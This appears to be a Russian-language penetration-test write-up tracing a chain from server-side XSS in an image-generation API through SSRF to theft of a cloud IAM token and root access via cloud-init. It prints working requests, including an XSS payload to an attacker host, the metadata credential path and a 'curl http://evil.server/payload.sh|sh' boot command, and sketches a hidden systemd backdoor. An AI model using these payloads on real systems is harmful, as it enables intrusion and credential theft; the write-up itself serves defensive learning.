Автор баги: cyrus_0x00
В этой статье разберем атаку, начавшуюся с уязвимости XSS в генераторе изображений и завершившуюся получением полного доступа к облачной инфраструктуре. Рассмотрим пошагово, как происходило проникновение, какие ошибки допустили разработчики, и что можно было сделать, чтобы этого избежать.
Recon. Поиск \криво\ висящих фруктов
Основной целью разведки стал API-шлюз api.redacted.com. Изначально сервис, который впоследствии стал ключевым для эксплуатации, не был упомянут ни на основном сайте, ни на поддоменах. Кроме того, он имел интересное название, что сразу привлекло наше внимание. Его удалось обнаружить только путем активного перебора директорий с помощью утилиты ffuf. Команда для перебора выглядела похожим образом:
ffuf -w /opt/seclists/raft-medium-words.txt -u https://api.redacted.com/u_FUZZ -mc all -fc 404,403 -t 10
Особенностью инфраструктуры было именование сервисов по шаблону u_<название>, что сузило область поиска. В результате был найден сервис /u_redacted/, предназначенный для генерации изображений на основе пользовательского ввода.

Мы сразу же приступили к анализу его функциональности и также путём активного перебора нашли параметр content.
Server-Side XSS. Небезопасная генерация
Анализируя параметр content, мы обнаружили, что его значение использовалось для генерации изображений. Как это обычно происходит:
- Значение параметра подставляется в HTML-шаблон (например, через шаблонизатор или напрямую в строку шаблона).
- Полученный HTML-документ передаётся на рендеринг браузерному движку (чаще всего headless-браузерам, таким как Puppeteer/Chromium или wkhtmltopdf).
- Рендер-движок генерирует визуальное представление документа, после чего оно сохраняется в нужном формате (чаще всего PDF или PNG).
Это позволило внедрить XSS, которая обрабатывалась на стороне сервера:
1 2 3 4 5 6 |
POST /u_redacted/ HTTP/2 Host: api.redacted.com Content-Type: application/x-www-form-urlencoded Content-Length: 87 content=<script>location="http://attacker.oastify.com"</script> |


SSRF. Доступ к внутренним ресурсам
После многочисленных попыток эксплуатации LFR, мы начали получать отклики через SSRF. Один из них содержал особенно любопытный заголовок: x-envoy-peer-metadata, содержащий подробную информацию о среде: имя пода, namespace, адрес сервиса и т.д.


Так как теперь мы предположительно знали, где хостилась инфраструктура заказчика, сразу же попытались обратиться к сервису метаданных — 169.254.169.254.

Успех! Дальше мы обратились по стандартному пути для получения токена сервисного аккаунта:
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/default

Сервер вернул в ответе IAM-токен — в зависимости от настроенных прав, он может предоставлять доступ ко всем облачным ресурсам, доступным от имени данной виртуальной машины.
Использование IAM-токена: доступ к облачной панели управления
Первым делом мы решили проверить, что именно может делать сервисный аккаунт виртуальной машины. Для этого отправили запрос к API, чтобы получить полную информацию о самом инстансе:
1 2 3 |
GET /compute/v1/instances/ID?view=FULL HTTP/2 Host: compute.api.cloud.provider.net Authorization: Bearer iam_token |

В ответе мы обнаружили несколько интересных вещей. Самое главное — к этой машине был привязан сервисный аккаунт с ролью compute.editor.
Хотя мы ограничились доступом к одной ВМ, роль позволяла гораздо больше. Мы могли запускать новые инстансы, менять их конфигурации, править метаданные, подключаться к другим узлам внутри проекта и, по сути, захватывать всю облачную инфраструктуру.
С заказчиком мы договорились ограничиться демонстрацией на одной машине — но реальный масштаб атаки мог быть куда шире.
Внедрение вредоносного скрипта через cloud-init
Облачные платформы позволяют конфигурировать виртуальную машину при запуске через user-data — специальный параметр метаданных, обрабатываемый cloud-init.
Так как у нас уже был IAM-токен с правами на изменение метаданных, мы могли подсунуть свой скрипт, который бы выполнился при следующей перезагрузке:
1 2 3 4 5 6 7 8 9 10 |
POST /compute/v1/instances/ID/updateMetadata HTTP/2 Host: compute.api.cloud.provider.net Authorization: Bearer iam_token Content-Type: application/json { "upsert": { "user-data": "#cloud-config\nbootcmd:\n- curl http://evil.server/payload.sh|sh\n..." } } |

Затем, чтобы изменения вступили в силу, был отправлен запрос на перезагрузку виртуальной машины с использованием IAM-токена:
1 2 3 4 5 6 |
POST /compute/v1/instances/ID:restart HTTP/2 Host: compute.api.cloud.provider.net Authorization: Bearer iam_token Content-Type: application/json {"instanceId":"ID"} |
После перезагрузки наш скрипт выполнился с root-правами — и мы получили полный контроль над машиной:

Альтернативный вариант: тихий бэкдор без перезагрузки
Поскольку перезагрузка виртуальной машины могла привлечь внимание, существовал и более тихий способ закрепиться в системе — через создание скрытого systemd-сервиса через уже полученные доступы.
Такой сервис тихо работал бы в фоне, например, поддерживая обратное подключение (reverse shell) или периодически отправляя украденные данные на наш сервер.
Заключение
Этот случай наглядно показывает, как даже небольшая ошибка в обработке входящих данных может привести к полной компрометации облачной инфраструктуры. Уязвимость SSRF остается одной из наиболее критичных, особенно в облачных средах, где сервисы метаданных часто оказываются недостаточно защищенными. Проблема усугубляется, когда системные компоненты получают избыточные привилегии.
Пентест
Вы можете нанять одну из лучших команд хакеров в мире для проведения тестирования на проникновение.
Мы работаем как с крупными корпорациями, так и со стартапами, знаем про требования регуляторов, нужды бизнеса и реальные угрозы.